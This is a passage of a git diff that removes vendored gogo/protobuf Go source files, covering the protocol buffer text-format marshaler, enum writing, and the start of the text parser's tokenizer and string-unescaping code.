must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -// Functions for writing the text protocol buffer format. - -import ( - "bufio" - "bytes" - "encoding" - "errors" - "fmt" - "io" - "log" - "math" - "reflect" - "sort" - "strings" - "sync" - "time" -) - -var ( - newline = []byte("\n") - spaces = []byte(" ") - endBraceNewline = []byte("}\n") - backslashN = []byte{'\\', 'n'} - backslashR = []byte{'\\', 'r'} - backslashT = []byte{'\\', 't'} - backslashDQ = []byte{'\\', '"'} - backslashBS = []byte{'\\', '\\'} - posInf = []byte("inf") - negInf = []byte("-inf") - nan = []byte("nan") -) - -type writer interface { - io.Writer - WriteByte(byte) error -} - -// textWriter is an io.Writer that tracks its indentation level. -type textWriter struct { - ind int - complete bool // if the current position is a complete line - compact bool // whether to write out as a one-liner - w writer -} - -func (w *textWriter) WriteString(s string) (n int, err error) { - if !strings.Contains(s, "\n") { - if !w.compact && w.complete { - w.writeIndent() - } - w.complete = false - return io.WriteString(w.w, s) - } - // WriteString is typically called without newlines, so this - // codepath and its copy are rare. We copy to avoid - // duplicating all of Write's logic here. - return w.Write([]byte(s)) -} - -func (w *textWriter) Write(p []byte) (n int, err error) { - newlines := bytes.Count(p, newline) - if newlines == 0 { - if !w.compact && w.complete { - w.writeIndent() - } - n, err = w.w.Write(p) - w.complete = false - return n, err - } - - frags := bytes.SplitN(p, newline, newlines+1) - if w.compact { - for i, frag := range frags { - if i > 0 { - if err := w.w.WriteByte(' '); err != nil { - return n, err - } - n++ - } - nn, err := w.w.Write(frag) - n += nn - if err != nil { - return n, err - } - } - return n, nil - } - - for i, frag := range frags { - if w.complete { - w.writeIndent() - } - nn, err := w.w.Write(frag) - n += nn - if err != nil { - return n, err - } - if i+1 < len(frags) { - if err := w.w.WriteByte('\n'); err != nil { - return n, err - } - n++ - } - } - w.complete = len(frags[len(frags)-1]) == 0 - return n, nil -} - -func (w *textWriter) WriteByte(c byte) error { - if w.compact && c == '\n' { - c = ' ' - } - if !w.compact && w.complete { - w.writeIndent() - } - err := w.w.WriteByte(c) - w.complete = c == '\n' - return err -} - -func (w *textWriter) indent() { w.ind++ } - -func (w *textWriter) unindent() { - if w.ind == 0 { - log.Print("proto: textWriter unindented too far") - return - } - w.ind-- -} - -func writeName(w *textWriter, props *Properties) error { - if _, err := w.WriteString(props.OrigName); err != nil { - return err - } - if props.Wire != "group" { - return w.WriteByte(':') - } - return nil -} - -func requiresQuotes(u string) bool { - // When type URL contains any characters except [0-9A-Za-z./\-]*, it must be quoted. - for _, ch := range u { - switch { - case ch == '.' || ch == '/' || ch == '_': - continue - case '0' <= ch && ch <= '9': - continue - case 'A' <= ch && ch <= 'Z': - continue - case 'a' <= ch && ch <= 'z': - continue - default: - return true - } - } - return false -} - -// isAny reports whether sv is a google.protobuf.Any message -func isAny(sv reflect.Value) bool { - type wkt interface { - XXX_WellKnownType() string - } - t, ok := sv.Addr().Interface().(wkt) - return ok && t.XXX_WellKnownType() == "Any" -} - -// writeProto3Any writes an expanded google.protobuf.Any message. -// -// It returns (false, nil) if sv value can't be unmarshaled (e.g. because -// required messages are not linked in). -// -// It returns (true, error) when sv was written in expanded format or an error -// was encountered. -func (tm *TextMarshaler) writeProto3Any(w *textWriter, sv reflect.Value) (bool, error) { - turl := sv.FieldByName("TypeUrl") - val := sv.FieldByName("Value") - if !turl.IsValid() || !val.IsValid() { - return true, errors.New("proto: invalid google.protobuf.Any message") - } - - b, ok := val.Interface().([]byte) - if !ok { - return true, errors.New("proto: invalid google.protobuf.Any message") - } - - parts := strings.Split(turl.String(), "/") - mt := MessageType(parts[len(parts)-1]) - if mt == nil { - return false, nil - } - m := reflect.New(mt.Elem()) - if err := Unmarshal(b, m.Interface().(Message)); err != nil { - return false, nil - } - w.Write([]byte("[")) - u := turl.String() - if requiresQuotes(u) { - writeString(w, u) - } else { - w.Write([]byte(u)) - } - if w.compact { - w.Write([]byte("]:<")) - } else { - w.Write([]byte("]: <\n")) - w.ind++ - } - if err := tm.writeStruct(w, m.Elem()); err != nil { - return true, err - } - if w.compact { - w.Write([]byte("> ")) - } else { - w.ind-- - w.Write([]byte(">\n")) - } - return true, nil -} - -func (tm *TextMarshaler) writeStruct(w *textWriter, sv reflect.Value) error { - if tm.ExpandAny && isAny(sv) { - if canExpand, err := tm.writeProto3Any(w, sv); canExpand { - return err - } - } - st := sv.Type() - sprops := GetProperties(st) - for i := 0; i < sv.NumField(); i++ { - fv := sv.Field(i) - props := sprops.Prop[i] - name := st.Field(i).Name - - if name == "XXX_NoUnkeyedLiteral" { - continue - } - - if strings.HasPrefix(name, "XXX_") { - // There are two XXX_ fields: - // XXX_unrecognized []byte - // XXX_extensions map[int32]proto.Extension - // The first is handled here; - // the second is handled at the bottom of this function. - if name == "XXX_unrecognized" && !fv.IsNil() { - if err := writeUnknownStruct(w, fv.Interface().([]byte)); err != nil { - return err - } - } - continue - } - if fv.Kind() == reflect.Ptr && fv.IsNil() { - // Field not filled in. This could be an optional field or - // a required field that wasn't filled in. Either way, there - // isn't anything we can show for it. - continue - } - if fv.Kind() == reflect.Slice && fv.IsNil() { - // Repeated field that is empty, or a bytes field that is unused. - continue - } - - if props.Repeated && fv.Kind() == reflect.Slice { - // Repeated field. - for j := 0; j < fv.Len(); j++ { - if err := writeName(w, props); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - v := fv.Index(j) - if v.Kind() == reflect.Ptr && v.IsNil() { - // A nil message in a repeated field is not valid, - // but we can handle that more gracefully than panicking. - if _, err := w.Write([]byte("\n")); err != nil { - return err - } - continue - } - if len(props.Enum) > 0 { - if err := tm.writeEnum(w, v, props); err != nil { - return err - } - } else if err := tm.writeAny(w, v, props); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - } - continue - } - if fv.Kind() == reflect.Map { - // Map fields are rendered as a repeated struct with key/value fields. - keys := fv.MapKeys() - sort.Sort(mapKeys(keys)) - for _, key := range keys { - val := fv.MapIndex(key) - if err := writeName(w, props); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - // open struct - if err := w.WriteByte('<'); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte('\n'); err != nil { - return err - } - } - w.indent() - // key - if _, err := w.WriteString("key:"); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - if err := tm.writeAny(w, key, props.MapKeyProp); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - // nil values aren't legal, but we can avoid panicking because of them. - if val.Kind() != reflect.Ptr || !val.IsNil() { - // value - if _, err := w.WriteString("value:"); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - if err := tm.writeAny(w, val, props.MapValProp); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - } - // close struct - w.unindent() - if err := w.WriteByte('>'); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - } - continue - } - if props.proto3 && fv.Kind() == reflect.Slice && fv.Len() == 0 { - // empty bytes field - continue - } - if props.proto3 && fv.Kind() != reflect.Ptr && fv.Kind() != reflect.Slice { - // proto3 non-repeated scalar field; skip if zero value - if isProto3Zero(fv) { - continue - } - } - - if fv.Kind() == reflect.Interface { - // Check if it is a oneof. - if st.Field(i).Tag.Get("protobuf_oneof") != "" { - // fv is nil, or holds a pointer to generated struct. - // That generated struct has exactly one field, - // which has a protobuf struct tag. - if fv.IsNil() { - continue - } - inner := fv.Elem().Elem() // interface -> *T -> T - tag := inner.Type().Field(0).Tag.Get("protobuf") - props = new(Properties) // Overwrite the outer props var, but not its pointee. - props.Parse(tag) - // Write the value in the oneof, not the oneof itself. - fv = inner.Field(0) - - // Special case to cope with malformed messages gracefully: - // If the value in the oneof is a nil pointer, don't panic - // in writeAny. - if fv.Kind() == reflect.Ptr && fv.IsNil() { - // Use errors.New so writeAny won't render quotes. - msg := errors.New("/* nil */") - fv = reflect.ValueOf(&msg).Elem() - } - } - } - - if err := writeName(w, props); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - - if len(props.Enum) > 0 { - if err := tm.writeEnum(w, fv, props); err != nil { - return err - } - } else if err := tm.writeAny(w, fv, props); err != nil { - return err - } - - if err := w.WriteByte('\n'); err != nil { - return err - } - } - - // Extensions (the XXX_extensions field). - pv := sv - if pv.CanAddr() { - pv = sv.Addr() - } else { - pv = reflect.New(sv.Type()) - pv.Elem().Set(sv) - } - if _, err := extendable(pv.Interface()); err == nil { - if err := tm.writeExtensions(w, pv); err != nil { - return err - } - } - - return nil -} - -var textMarshalerType = reflect.TypeOf((*encoding.TextMarshaler)(nil)).Elem() - -// writeAny writes an arbitrary field. -func (tm *TextMarshaler) writeAny(w *textWriter, v reflect.Value, props *Properties) error { - v = reflect.Indirect(v) - - if props != nil { - if len(props.CustomType) > 0 { - custom, ok := v.Interface().(Marshaler) - if ok { - data, err := custom.Marshal() - if err != nil { - return err - } - if err := writeString(w, string(data)); err != nil { - return err - } - return nil - } - } else if len(props.CastType) > 0 { - if _, ok := v.Interface().(interface { - String() string - }); ok { - switch v.Kind() { - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, - reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - _, err := fmt.Fprintf(w, "%d", v.Interface()) - return err - } - } - } else if props.StdTime { - t, ok := v.Interface().(time.Time) - if !ok { - return fmt.Errorf("stdtime is not time.Time, but %T", v.Interface()) - } - tproto, err := timestampProto(t) - if err != nil { - return err - } - propsCopy := *props // Make a copy so that this is goroutine-safe - propsCopy.StdTime = false - err = tm.writeAny(w, reflect.ValueOf(tproto), &propsCopy) - return err - } else if props.StdDuration { - d, ok := v.Interface().(time.Duration) - if !ok { - return fmt.Errorf("stdtime is not time.Duration, but %T", v.Interface()) - } - dproto := durationProto(d) - propsCopy := *props // Make a copy so that this is goroutine-safe - propsCopy.StdDuration = false - err := tm.writeAny(w, reflect.ValueOf(dproto), &propsCopy) - return err - } - } - - // Floats have special cases. - if v.Kind() == reflect.Float32 || v.Kind() == reflect.Float64 { - x := v.Float() - var b []byte - switch { - case math.IsInf(x, 1): - b = posInf - case math.IsInf(x, -1): - b = negInf - case math.IsNaN(x): - b = nan - } - if b != nil { - _, err := w.Write(b) - return err - } - // Other values are handled below. - } - - // We don't attempt to serialise every possible value type; only those - // that can occur in protocol buffers. - switch v.Kind() { - case reflect.Slice: - // Should only be a []byte; repeated fields are handled in writeStruct. - if err := writeString(w, string(v.Bytes())); err != nil { - return err - } - case reflect.String: - if err := writeString(w, v.String()); err != nil { - return err - } - case reflect.Struct: - // Required/optional group/message. - var bra, ket byte = '<', '>' - if props != nil && props.Wire == "group" { - bra, ket = '{', '}' - } - if err := w.WriteByte(bra); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte('\n'); err != nil { - return err - } - } - w.indent() - if v.CanAddr() { - // Calling v.Interface on a struct causes the reflect package to - // copy the entire struct. This is racy with the new Marshaler - // since we atomically update the XXX_sizecache. - // - // Thus, we retrieve a pointer to the struct if possible to avoid - // a race since v.Interface on the pointer doesn't copy the struct. - // - // If v is not addressable, then we are not worried about a race - // since it implies that the binary Marshaler cannot possibly be - // mutating this value. - v = v.Addr() - } - if v.Type().Implements(textMarshalerType) { - text, err := v.Interface().(encoding.TextMarshaler).MarshalText() - if err != nil { - return err - } - if _, err = w.Write(text); err != nil { - return err - } - } else { - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - if err := tm.writeStruct(w, v); err != nil { - return err - } - } - w.unindent() - if err := w.WriteByte(ket); err != nil { - return err - } - default: - _, err := fmt.Fprint(w, v.Interface()) - return err - } - return nil -} - -// equivalent to C's isprint. -func isprint(c byte) bool { - return c >= 0x20 && c < 0x7f -} - -// writeString writes a string in the protocol buffer text format. -// It is similar to strconv.Quote except we don't use Go escape sequences, -// we treat the string as a byte sequence, and we use octal escapes. -// These differences are to maintain interoperability with the other -// languages' implementations of the text format. -func writeString(w *textWriter, s string) error { - // use WriteByte here to get any needed indent - if err := w.WriteByte('"'); err != nil { - return err - } - // Loop over the bytes, not the runes. - for i := 0; i < len(s); i++ { - var err error - // Divergence from C++: we don't escape apostrophes. - // There's no need to escape them, and the C++ parser - // copes with a naked apostrophe. - switch c := s[i]; c { - case '\n': - _, err = w.w.Write(backslashN) - case '\r': - _, err = w.w.Write(backslashR) - case '\t': - _, err = w.w.Write(backslashT) - case '"': - _, err = w.w.Write(backslashDQ) - case '\\': - _, err = w.w.Write(backslashBS) - default: - if isprint(c) { - err = w.w.WriteByte(c) - } else { - _, err = fmt.Fprintf(w.w, "\\%03o", c) - } - } - if err != nil { - return err - } - } - return w.WriteByte('"') -} - -func writeUnknownStruct(w *textWriter, data []byte) (err error) { - if !w.compact { - if _, err := fmt.Fprintf(w, "/* %d unknown bytes */\n", len(data)); err != nil { - return err - } - } - b := NewBuffer(data) - for b.index < len(b.buf) { - x, err := b.DecodeVarint() - if err != nil { - _, ferr := fmt.Fprintf(w, "/* %v */\n", err) - return ferr - } - wire, tag := x&7, x>>3 - if wire == WireEndGroup { - w.unindent() - if _, werr := w.Write(endBraceNewline); werr != nil { - return werr - } - continue - } - if _, ferr := fmt.Fprint(w, tag); ferr != nil { - return ferr - } - if wire != WireStartGroup { - if err = w.WriteByte(':'); err != nil { - return err - } - } - if !w.compact || wire == WireStartGroup { - if err = w.WriteByte(' '); err != nil { - return err - } - } - switch wire { - case WireBytes: - buf, e := b.DecodeRawBytes(false) - if e == nil { - _, err = fmt.Fprintf(w, "%q", buf) - } else { - _, err = fmt.Fprintf(w, "/* %v */", e) - } - case WireFixed32: - x, err = b.DecodeFixed32() - err = writeUnknownInt(w, x, err) - case WireFixed64: - x, err = b.DecodeFixed64() - err = writeUnknownInt(w, x, err) - case WireStartGroup: - err = w.WriteByte('{') - w.indent() - case WireVarint: - x, err = b.DecodeVarint() - err = writeUnknownInt(w, x, err) - default: - _, err = fmt.Fprintf(w, "/* unknown wire type %d */", wire) - } - if err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - } - return nil -} - -func writeUnknownInt(w *textWriter, x uint64, err error) error { - if err == nil { - _, err = fmt.Fprint(w, x) - } else { - _, err = fmt.Fprintf(w, "/* %v */", err) - } - return err -} - -type int32Slice []int32 - -func (s int32Slice) Len() int { return len(s) } -func (s int32Slice) Less(i, j int) bool { return s[i] < s[j] } -func (s int32Slice) Swap(i, j int) { s[i], s[j] = s[j], s[i] } - -// writeExtensions writes all the extensions in pv. -// pv is assumed to be a pointer to a protocol message struct that is extendable. -func (tm *TextMarshaler) writeExtensions(w *textWriter, pv reflect.Value) error { - emap := extensionMaps[pv.Type().Elem()] - e := pv.Interface().(Message) - - var m map[int32]Extension - var mu sync.Locker - if em, ok := e.(extensionsBytes); ok { - eb := em.GetExtensions() - var err error - m, err = BytesToExtensionsMap(*eb) - if err != nil { - return err - } - mu = notLocker{} - } else if _, ok := e.(extendableProto); ok { - ep, _ := extendable(e) - m, mu = ep.extensionsRead() - if m == nil { - return nil - } - } - - // Order the extensions by ID. - // This isn't strictly necessary, but it will give us - // canonical output, which will also make testing easier. - - mu.Lock() - ids := make([]int32, 0, len(m)) - for id := range m { - ids = append(ids, id) - } - sort.Sort(int32Slice(ids)) - mu.Unlock() - - for _, extNum := range ids { - ext := m[extNum] - var desc *ExtensionDesc - if emap != nil { - desc = emap[extNum] - } - if desc == nil { - // Unknown extension. - if err := writeUnknownStruct(w, ext.enc); err != nil { - return err - } - continue - } - - pb, err := GetExtension(e, desc) - if err != nil { - return fmt.Errorf("failed getting extension: %v", err) - } - - // Repeated extensions will appear as a slice. - if !desc.repeated() { - if err := tm.writeExtension(w, desc.Name, pb); err != nil { - return err - } - } else { - v := reflect.ValueOf(pb) - for i := 0; i < v.Len(); i++ { - if err := tm.writeExtension(w, desc.Name, v.Index(i).Interface()); err != nil { - return err - } - } - } - } - return nil -} - -func (tm *TextMarshaler) writeExtension(w *textWriter, name string, pb interface{}) error { - if _, err := fmt.Fprintf(w, "[%s]:", name); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - if err := tm.writeAny(w, reflect.ValueOf(pb), nil); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - return nil -} - -func (w *textWriter) writeIndent() { - if !w.complete { - return - } - remain := w.ind * 2 - for remain > 0 { - n := remain - if n > len(spaces) { - n = len(spaces) - } - w.w.Write(spaces[:n]) - remain -= n - } - w.complete = false -} - -// TextMarshaler is a configurable text format marshaler. -type TextMarshaler struct { - Compact bool // use compact text format (one line). - ExpandAny bool // expand google.protobuf.Any messages of known types -} - -// Marshal writes a given protocol buffer in text format. -// The only errors returned are from w. -func (tm *TextMarshaler) Marshal(w io.Writer, pb Message) error { - val := reflect.ValueOf(pb) - if pb == nil || val.IsNil() { - w.Write([]byte("")) - return nil - } - var bw *bufio.Writer - ww, ok := w.(writer) - if !ok { - bw = bufio.NewWriter(w) - ww = bw - } - aw := &textWriter{ - w: ww, - complete: true, - compact: tm.Compact, - } - - if etm, ok := pb.(encoding.TextMarshaler); ok { - text, err := etm.MarshalText() - if err != nil { - return err - } - if _, err = aw.Write(text); err != nil { - return err - } - if bw != nil { - return bw.Flush() - } - return nil - } - // Dereference the received pointer so we don't have outer < and >. - v := reflect.Indirect(val) - if err := tm.writeStruct(aw, v); err != nil { - return err - } - if bw != nil { - return bw.Flush() - } - return nil -} - -// Text is the same as Marshal, but returns the string directly. -func (tm *TextMarshaler) Text(pb Message) string { - var buf bytes.Buffer - tm.Marshal(&buf, pb) - return buf.String() -} - -var ( - defaultTextMarshaler = TextMarshaler{} - compactTextMarshaler = TextMarshaler{Compact: true} -) - -// TODO: consider removing some of the Marshal functions below. - -// MarshalText writes a given protocol buffer in text format. -// The only errors returned are from w. -func MarshalText(w io.Writer, pb Message) error { return defaultTextMarshaler.Marshal(w, pb) } - -// MarshalTextString is the same as MarshalText, but returns the string directly. -func MarshalTextString(pb Message) string { return defaultTextMarshaler.Text(pb) } - -// CompactText writes a given protocol buffer in compact text format (one line). -func CompactText(w io.Writer, pb Message) error { return compactTextMarshaler.Marshal(w, pb) } - -// CompactTextString is the same as CompactText, but returns the string directly. -func CompactTextString(pb Message) string { return compactTextMarshaler.Text(pb) } diff --git a/vendor/github.com/gogo/protobuf/proto/text_gogo.go b/vendor/github.com/gogo/protobuf/proto/text_gogo.go deleted file mode 100644 index 1d6c6aa0..00000000 --- a/vendor/github.com/gogo/protobuf/proto/text_gogo.go +++ /dev/null @@ -1,57 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "fmt" - "reflect" -) - -func (tm *TextMarshaler) writeEnum(w *textWriter, v reflect.Value, props *Properties) error { - m, ok := enumStringMaps[props.Enum] - if !ok { - if err := tm.writeAny(w, v, props); err != nil { - return err - } - } - key := int32(0) - if v.Kind() == reflect.Ptr { - key = int32(v.Elem().Int()) - } else { - key = int32(v.Int()) - } - s, ok := m[key] - if !ok { - if err := tm.writeAny(w, v, props); err != nil { - return err - } - } - _, err := fmt.Fprint(w, s) - return err -} diff --git a/vendor/github.com/gogo/protobuf/proto/text_parser.go b/vendor/github.com/gogo/protobuf/proto/text_parser.go deleted file mode 100644 index f85c0cc8..00000000 --- a/vendor/github.com/gogo/protobuf/proto/text_parser.go +++ /dev/null @@ -1,1018 +0,0 @@ -// Protocol Buffers for Go with Gadgets -// -// Copyright (c) 2013, The GoGo Authors. All rights reserved. -// http://github.com/gogo/protobuf -// -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -// Functions for parsing the Text protocol buffer format. -// TODO: message sets. - -import ( - "encoding" - "errors" - "fmt" - "reflect" - "strconv" - "strings" - "time" - "unicode/utf8" -) - -// Error string emitted when deserializing Any and fields are already set -const anyRepeatedlyUnpacked = "Any message unpacked multiple times, or %q already set" - -type ParseError struct { - Message string - Line int // 1-based line number - Offset int // 0-based byte offset from start of input -} - -func (p *ParseError) Error() string { - if p.Line == 1 { - // show offset only for first line - return fmt.Sprintf("line 1.%d: %v", p.Offset, p.Message) - } - return fmt.Sprintf("line %d: %v", p.Line, p.Message) -} - -type token struct { - value string - err *ParseError - line int // line number - offset int // byte number from start of input, not start of line - unquoted string // the unquoted version of value, if it was a quoted string -} - -func (t *token) String() string { - if t.err == nil { - return fmt.Sprintf("%q (line=%d, offset=%d)", t.value, t.line, t.offset) - } - return fmt.Sprintf("parse error: %v", t.err) -} - -type textParser struct { - s string // remaining input - done bool // whether the parsing is finished (success or error) - backed bool // whether back() was called - offset, line int - cur token -} - -func newTextParser(s string) *textParser { - p := new(textParser) - p.s = s - p.line = 1 - p.cur.line = 1 - return p -} - -func (p *textParser) errorf(format string, a ...interface{}) *ParseError { - pe := &ParseError{fmt.Sprintf(format, a...), p.cur.line, p.cur.offset} - p.cur.err = pe - p.done = true - return pe -} - -// Numbers and identifiers are matched by [-+._A-Za-z0-9] -func isIdentOrNumberChar(c byte) bool { - switch { - case 'A' <= c && c <= 'Z', 'a' <= c && c <= 'z': - return true - case '0' <= c && c <= '9': - return true - } - switch c { - case '-', '+', '.', '_': - return true - } - return false -} - -func isWhitespace(c byte) bool { - switch c { - case ' ', '\t', '\n', '\r': - return true - } - return false -} - -func isQuote(c byte) bool { - switch c { - case '"', '\'': - return true - } - return false -} - -func (p *textParser) skipWhitespace() { - i := 0 - for i < len(p.s) && (isWhitespace(p.s[i]) || p.s[i] == '#') { - if p.s[i] == '#' { - // comment; skip to end of line or input - for i < len(p.s) && p.s[i] != '\n' { - i++ - } - if i == len(p.s) { - break - } - } - if p.s[i] == '\n' { - p.line++ - } - i++ - } - p.offset += i - p.s = p.s[i:len(p.s)] - if len(p.s) == 0 { - p.done = true - } -} - -func (p *textParser) advance() { - // Skip whitespace - p.skipWhitespace() - if p.done { - return - } - - // Start of non-whitespace - p.cur.err = nil - p.cur.offset, p.cur.line = p.offset, p.line - p.cur.unquoted = "" - switch p.s[0] { - case '<', '>', '{', '}', ':', '[', ']', ';', ',', '/': - // Single symbol - p.cur.value, p.s = p.s[0:1], p.s[1:len(p.s)] - case '"', '\'': - // Quoted string - i := 1 - for i < len(p.s) && p.s[i] != p.s[0] && p.s[i] != '\n' { - if p.s[i] == '\\' && i+1 < len(p.s) { - // skip escaped char - i++ - } - i++ - } - if i >= len(p.s) || p.s[i] != p.s[0] { - p.errorf("unmatched quote") - return - } - unq, err := unquoteC(p.s[1:i], rune(p.s[0])) - if err != nil { - p.errorf("invalid quoted string %s: %v", p.s[0:i+1], err) - return - } - p.cur.value, p.s = p.s[0:i+1], p.s[i+1:len(p.s)] - p.cur.unquoted = unq - default: - i := 0 - for i < len(p.s) && isIdentOrNumberChar(p.s[i]) { - i++ - } - if i == 0 { - p.errorf("unexpected byte %#x", p.s[0]) - return - } - p.cur.value, p.s = p.s[0:i], p.s[i:len(p.s)] - } - p.offset += len(p.cur.value) -} - -var ( - errBadUTF8 = errors.New("proto: bad UTF-8") -) - -func unquoteC(s string, quote rune) (string, error) { - // This is based on C++'s tokenizer.cc. - // Despite its name, this is *not* parsing C syntax. - // For instance, "\0" is an invalid quoted string. - - // Avoid allocation in trivial cases. - simple := true - for _, r := range s { - if r == '\\' || r == quote { - simple = false - break - } - } - if simple { - return s, nil - } - - buf := make([]byte, 0, 3*len(s)/2) - for len(s) > 0 { - r, n := utf8.DecodeRuneInString(s) - if r == utf8.RuneError && n == 1 { - return "", errBadUTF8 - } - s = s[n:] - if r != '\\' { - if r < utf8.RuneSelf { - buf = append(buf, byte(r)) - } else { - buf = append(buf, string(r)...) - } - continue - } - - ch, tail, err := unescape(s) - if err != nil { - return "", err - } - buf = append(buf, ch...) - s = tail - } - return string(buf), nil -} - -func unescape(s string) (ch string, tail string, err error) { - r, n := utf8.DecodeRuneInString(s) - if r == utf8.RuneError && n == 1 { - return "", "", errBadUTF8 - } - s = s[n:] - switch r { - case 'a': - return "\a", s, nil - case 'b': - return "\b", s, nil - case 'f': - return "\f", s, nil - case 'n': - return "\n", s, nil - case 'r': - return "\r", s, nil - case 't': - return "\t", s, nil - case 'v': - return "\v", s, nil - case '?': - return "?", s, nil // trigraph workaround - case '\'', '"', '\\': - return string(r), s, nil - case '0', '1', '2', '3', '4', '5', '6', '7': - if len(s) < 2 { - return "", "", fmt.Errorf(`\%c requires 2 following digits`, r) - } - ss := string(r) + s[:2] - s = s[2:] - i, err := strconv.ParseUint(ss, 8, 8) - if err != nil { - return "", "", fmt.Errorf(`\%s contains non-octal digits`, ss) - } - return string([]byte{byte(i)}), s, nil - case 'x', 'X', 'u', 'U': - var n int - switch r { - case 'x', 'X': - n = 2 - case 'u': - n = 4 - case 'U': - n = 8 - } - if len(s) < n { - return "", "", fmt.Errorf(`\%c requires %d following digits`, r, n) - } - ss := s[:n] - s = s[n:] - i, err := strconv.ParseUint(ss, 16, 64) - if err != nil { - return "", "", fmt.Errorf(`\%c%s contains non-hexadecimal digits`, r, ss) - } - if r == 'x' || r == 'X' { - return string([]byte{byte(i)}), s, nil - } - if i > utf8.MaxRune { - return "", "", fmt.Errorf(`\%c%s is not a valid Unicode code point`, r, ss) - } - return string(rune(i)), s, nil - } - return "", "", fmt.Errorf(`unknown escape \%c`, r) -} - -// Back off the parser by one token. 